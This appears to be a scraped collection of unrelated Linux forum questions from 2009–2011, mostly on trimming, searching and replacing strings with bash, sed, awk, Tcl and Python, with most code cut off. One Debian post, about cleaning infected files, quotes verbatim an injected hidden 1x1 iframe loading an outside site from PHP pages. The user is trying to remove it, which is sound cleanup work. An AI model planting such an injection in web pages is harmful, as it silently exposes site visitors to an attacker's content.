General :: Remove All Zeros (if Exist) From The Beginning Of Strings?

Jan 31, 2010

In bash, I would like to remove all zeros (if exist) from the beginning of a strings:

000001234
00123
0000568

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General :: Finding And Remove Block Of Identical Strings?

May 16, 2011

i have a problem in finding block of identical strings...i solved the problem in finding consecutive identical words and now i want to expand the code in order to find and remove consecutive identical block of strings... for example the awk code removing consecutive identical word is:

Code:
#!/usr/bin/awk -f
BEGIN{
RS="[[:space:]]+";
ORS=""

[Code].....

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General :: Remove Lines From A Syslog Text File That Have Duplicate Strings

Mar 17, 2011

Trying to remove lines from a syslog text file that have duplicate strings

Mar 10 06:51:11[http-8080-1] INFO com.MYCOMPANY.webservices.userservice.web.UserServiceController [u:2533274802474744|360] Authorize [platformI$tformIdAndOs=2533274802474744|360, userRegion=America|360]

then a few lines down

Mar 10 06:52:03 [http-8080-1] INFO com.MYCOMPANY.webservices.userservice.web.UserServiceController [u:2533274802474744|360] Authorize [platformI$tformIdAndOs=2533274802474744|360, userRegion=America|360

got the same thing in terms of a u: number but the issue is I need to remove duplicates and just leave one and the file has multiple duplicates of different u: numbers and it's 14,000 lines long. can anyone tell me if I can use awk? sed? or sort for something like this to? removing lines that have a certain string in there that's a duplicate.

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CentOS 5 :: Search A Text File For The Existence Of Certain Strings And Execute A Command If They Exist, Something Along The Lines?

Feb 23, 2010

This should be simple but I can't seem to find what I am looking for.I want to search a text file for the existence of certain strings and execute a command if they exist, something along the lines of:

if <string> exists
command
or

if <any member of this list exists>
command

I know how to manually search a file with grep, cat, etc., but the "if this exists" part eludes me.

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General :: Searching And Replacing Strings In File With Strings In Other Files

Jul 29, 2010

I want to search and replace strings in a file with strings in other files/i need to do it with big strings(string1 is big) and i want to use a txt file for this.But this code not working :

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Programming :: Remove All Alphabetic Characters At Beginning Of String

Jul 26, 2010

I am working with a Tcl script and have some strings in the following format (RE):
[a-zA-Z]+[0-9]{6}-[0-9]

There are some leading letters, combinations of capital and lowercase. Then six digits, followed by a hyphen, then one more digit. I would like to remove all of the leading alphabetic characters from the string. The resulting string would then be in this format: [0-9]{6}-[0-9]. In other words, six numeric digits, a hyphen, then one more digit.

I have tried:
Code:
set newstr [string trimleft $origstr alpha]
But that only removes the first alphabetic character, not all of them.

I couldn't get anything with regsub to work correctly, but I am somewhat of a noob with RE's in general and regsub in particular. There are usually 5 leading letters at the beginning of these strings, and I could in most cases get away with using string replace and constant indices to extract the substring. However, my preference is for this to be robust enough to handle all cases with 1 through n leading alphabetic characters.

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Debian :: Find >> Remove Strings With Bash?

Aug 22, 2010

i'm trying all the time to use this (find,sed gnu,..etc) scrip to find and remove this string in all files *.php in wwwbackup/ directory. the script work without any error, but doesn't remove any thing!?

find /home/usr/wwwbackups/ -type f -name *.php -print0| xargs -0 sed 's#echo "<iframe src="http://internetcountercheck.com/?click=2255046" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>";##g' -i

how can i become this script working?

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General :: Tar: File Shrank - Padding With Zeros - Error Exit Delayed From Previous Errors

Jun 24, 2011

I am using RED HAT linux AS-4. I have written a script which execute on job. This script takes the cold backup of oracle database files. The script is

Script:

SQL> !tar cvf /4hd/backup/temp_backup/full_offline_backup_`date +%d-%m-%Y+%H-%M-%S`.ora /home/oracle/oradata/orcl /2hd/oracle /3hd/oracle /backup_ide/oracle --gzip --exclude-from=/home/oracle/backup_scripts/exdtime

[code]....

Error: tar: Error exit delayed from previous errors

Due to this error the backup cannot be restore to standby server.

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Programming :: Remove Lines And Parts Of Lines From Python Strings?

Nov 24, 2009

How do you remove parts of strings using python? Such as, if I have something like:

Code:
erme1 sdifskenklsd
erme2 sdfjksliel

[code]....

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General :: Deleting A File Beginning With '?'

Jan 26, 2010

I have found a file beginning with a question mark in my home dir, not sure how the hell it got there. It's from a downloaded rar i think.

Does anyone know how to do this?

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Ubuntu :: Write Zeros To External Hard Drive?

Jun 27, 2011

I have an external hard drive connected via usb cable - /media/New Volume - and mounted in Ubuntu 10.04. How can I "write zeros" to this drive or maybe write random characters in an effort to wipe data on this disk?

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Software :: Renaming Some Files (adding Leading Zeros)?

Jan 8, 2011

I need to rename some files. They are named:

NP1-1.mp3
NP1-2.mp3
NP1-3.mp3

[code]....

However, as there is no lead 0, the order gets confused by some software (some software mistakenly lists it as NP1-1.mp3, then NP1-10.mp3). I'd like to add zeros so the files are named like this:

NP1-0001.mp3
NP1-0002.mp3
NP1-0003.mp3

[code]...

How can that be done?

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General :: List Files Beginning With Underscores First When Using `ls -l`?

Aug 3, 2011

I'm using ubuntu (natty), and when I use ls -l, the files are listed, but apparently the sorting algo ignores any special characters. For ages I've used underscores to mark special folders. And it seems to me, that they were always listed first. Now, the underscore is completely ignores. Let's assume that I have the files fileA, _fileB and fileC in a folder. Currently, ls -l orders them like so:

malbert@dredg:/tmp/1$ ls -l
total 0
-rw-r--r-- 1 malbert domain users 0 2011-08-03 15:27 fileA
-rw-r--r-- 1 malbert domain users 0 2011-08-03 15:27 _fileB
-rw-r--r-- 1 malbert domain users 0 2011-08-03 15:27 fileC

[Code]...

I've dug through the ls man page and could not find anything. Is there somewhere a system-wide collation option? Or something the like?

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General :: What Shell Allows Recalling Commands With Certain Beginning

Sep 14, 2011

Programs like matlab/octave and I'm sure many other ones allow you to start typing a command, and then hit Up to recall the last command that starts with the typed characters. Common linux shell bash doesnot do this. Is there a different shell that does? I'm not asking how to find out the last command, I'm asking if there's a shell that's a little friendlier.

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General :: Bash - Add Text At The Beginning Of A Line

Feb 28, 2011

I have a lot a folders, each named by a number, and in each of these folders I have a specific file (stddev.dat) containing a single line (of numbers) I need to have a single file with each line being one of the stddev.dat (no matter if it is sorted or not), and also I need to add at the begining of each line the number of the folder it comes from.

I 'm no bash expert, and the "add at the begining of the line" is a bit of problem to me". Here is what I've come up with so far, just to put everything in one file, (and also if you know a better/more elegant way to do the same thing I've done, I'm listening)

[Code]...

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General :: Convert String To Number Without 0 In The Beginning

Jun 8, 2010

I want to convert strings like 002, 049, 050, 100 to numbers: 2, 49, 50, 100.

I tried to use:
Code:
`printf "%5d" $i`
, but it doesnt work , it convert:
002=>2
014=>12
049=>0

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General :: Erasing From The Cursor Up To The Beginning Of The Following Word In Vim

Dec 13, 2010

In a wide family of "ancient" text editors, by pressing ^T you erased from the cursor up to the beginning of the following word. If we use '_' to represent the cursor, the thing was like this:

Code:

If I now hold <CNTL> down and press <T>, the result will be

Code:

Want to feel at home with vim. Many times I have consulted and even tried to systematically study vim's man page. Sometimes I consulted it with profit, sometimes not. This is one of the latter.

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General :: Erasing From The Cursor Up To The Beginning Of The Word In Vim?

Dec 13, 2010

In a wide family of "ancient" text editors, by pressing ^T you erased from the cursor up to the beginning of the following word. If we use '_' to represent the cursor, the thing was like this:

Code:
want to feel _ at home with vim. If I now hold <CNTL> down and press <T>, the result will be Code: want to feel at home with vim. Many times I have consulted and even tried to systematically study vim's man page. Sometimes I consulted it with profit, sometimes not. This is one of the latter.

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General :: Insert Tab At Beginning Of Each Line In File?

Aug 5, 2010

I am trying to create a shell script where a user can specify a file with a list of logins and the script will create a batch file with specific information in specific columns.

Example:

loginfile.txt has

User1
User2
User3

I need the output to be as below:

1 User1 Date 12/31/9999
2 User2 Date 12/31/9999
3 User3 Date 12/31/9999

Where the columns are separated as below.

1[tab][tab]User1[tab]date +%D[tab]12/31/9999
2[tab][tab]User2[tab]date +%D[tab]12/31/9999
3[tab][tab]User3[tab]date +%D[tab]12/31/9999

I can use the nl utility to get the numbers easily enough, but I need two tab separations between the number and the user list. Is there a sed command that will insert at the beginning of each line? If so I can just run nl after I get some tabs up in the front.

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Programming :: Double Pointers / Matrix GCC (fill It One Column With Zeros And The Other With Ones)

May 26, 2011

I have a 10x2 matrix, I create said matrix and fill it one column with zeros and the other with ones, now when I print the matrix I get this:

column 1:
0,0,0,0,0,0,0,0,1,1
column 2:
1,1,1,1,1,1,1,1,1,1

The first two rows of the second column are being replaced into the last two rows of the first column, now I even checked in visual studio and it works fine there. A friend tried my code and he gets it even worse:
column 1:

0,0,0,0,1,1,1,1,1,1
column 2:
1,1,1,1,1,1,1,1,1,1

As far as I've seen it must be a problem with GCC, unfortunately I need to have this up and running in GCC no matter what.

[Code].....

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General :: Sed Search To Match NOT Several Strings?

Nov 15, 2010

I am using sed to process an ascii tcpdump file whereby each packet is processed into a line with the same number of columns and useful information is pulled out like the time, packet type, length, and also IP addresses, payload type and port numbers where appropriate. The time is already changed to seconds, followed by the protocol over ethernet, such as IP, IP6, ARP etc. and I can change anything it detects as IP, IP6 and ARP into some other string, pulling out necessary information depending on the protocol and payload.The beginning part of the search for IP starts with the sed search /([0-9][0-9]*.[0-9][0-9]*)[ ]IP[ ,] ... /, where time is in seconds and ellipses means more stuff, and likewise for IP6 and ARP.But how do I process the lines that are NOT IP, IP6 or ARP? (Specifically NOT /IP[ ,]/, /IP6[ ,]/ or /ARP[ ,]/.) So that I can format them into a string with the same number of columns.

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General :: Search For Text Strings

May 19, 2011

What would be the best way to search for a file that contains a string similar to this:

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General :: Strings: '/lib/libc.so.6': No Such File

Jul 20, 2011

I'm on Ubuntu 11.04. I get the above error when running a utility to get code from a version control system (StarTeam). The error looks generic enough that I'm hoping its an easily resolvable system problem. Below is how I get it ...

Code:

$ /bin/sh -c stcmd label -x -nologo -stop -p username:password@mydomain.com:9999/NNA/NNA/Technology/nna/tools/selenium -nl selenium-utils-1.0 -b
strings: '/lib/libc.so.6': No such file

[code].....

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General :: Fastest Way To Search For Strings?

Jan 29, 2010

Is there a faster way to search for a file containing a given string than using grep -re "string" /

This takes a long time to search through the entire system, so I was wondering if there is a faster way. I don't know the name of the file, just that it will contain a given string.

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General :: Set Operations For Strings In System?

May 11, 2011

Let me know unix commands to implement set operations on strings.

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General :: Mplayer Just Starts Playing The Audio Stream From The Beginning?

Mar 18, 2010

I have and avi file and an ac3 file that contains an alternate audio stream. I run mplayer like: mplayer -audiofile foo.ac3 bar.avi

mplayer takes the audio stream from the ac3 file as expected, but when I try to scroll the video using arrows or pgup/pgdown keys, the audio gets desynced: mplayer just starts playing the audio stream from the beginning. Do I have to pass any additional command line arguments in order to make it scroll properly without desyncing audio?

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General :: Filename Beginning With Left Bracket: File Cannot Be Erased

Nov 28, 2010

Kernel 2.6.21.5, Slackware 12.0

I saved a page from Linuxquestions. It was saved under a filename beginning with '[' (left square bracket). And I now can't delete the file. Unfortunately I cannot send you a screenshot because opening a terminal in the GUI makes ls behave differently. I shall try to describe, assuming the file is in dir '.'. Also let '[SOLVED]foo.html' be the file in question:

Code:
$ ls
<the file is listed>
$ ls [*
/bin/ls: cannot access [*: No such file or directory
$

If I want the hdd to get rid of this file, what should I do? Any hint will be welcome.

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General :: Sed Command - Find Line Not Beginning With Double Quote

Mar 15, 2011

I need to find each line in a file which does NOT begin with a double quote (") and append that line to the previous line. I have been successful doing this using the following command:
cat filname.csv | sed -e :a -e '$!Ns/
[^"]//;ta -e 'P;D' > newfilename.csv

My issue is the substitution. As you would expect after the line is appended to the previous line the first character is removed. I need it to not be removed. I tried:
cat filname.csv | sed -e :a -e '$!Ns/
[^"]/&/;ta -e 'P;D' > newfilename.csv
but it just hangs.

Goal:
Input:
"line 1"
line 2
Output with existing sed command is:
line 1ine2
I need it to be line1line2.

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General :: Parsing Strings Containing Bash Scripts?

Jan 15, 2010

fakeFile's contents :

Code:

blah $(date +%F) blah

fakeScript's contents :

Code:

while read line; do
echo $line
done < "fakeFile"

so here's the problem : is there any way to evaluate the fakeFile's contents (in the fakeScript), so that the term "$(date +%F)" (or any other bash script) in a string , translates to it's corresponding value ? (in this example , we want to have "blah current date" instead of " blah $(bash script) blah " )

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General :: Find Multiple Strings Into Files?

Mar 22, 2010

I would like to find all the files that contains the strings I'm searching.

For example (it's just an example), I would like to search all the files in "/etc" that contains "eth0" and "us", whatever where are located those 2 strings, the important is that the 2 strings are in the files listed.

It would be something like a "grep -lr 'eth0' *" and "grep -lr 'us' *" but in one time/command, so that I don't have to make a comparison of the 2 list of files resulting from the 2 "grep" commands given higher.

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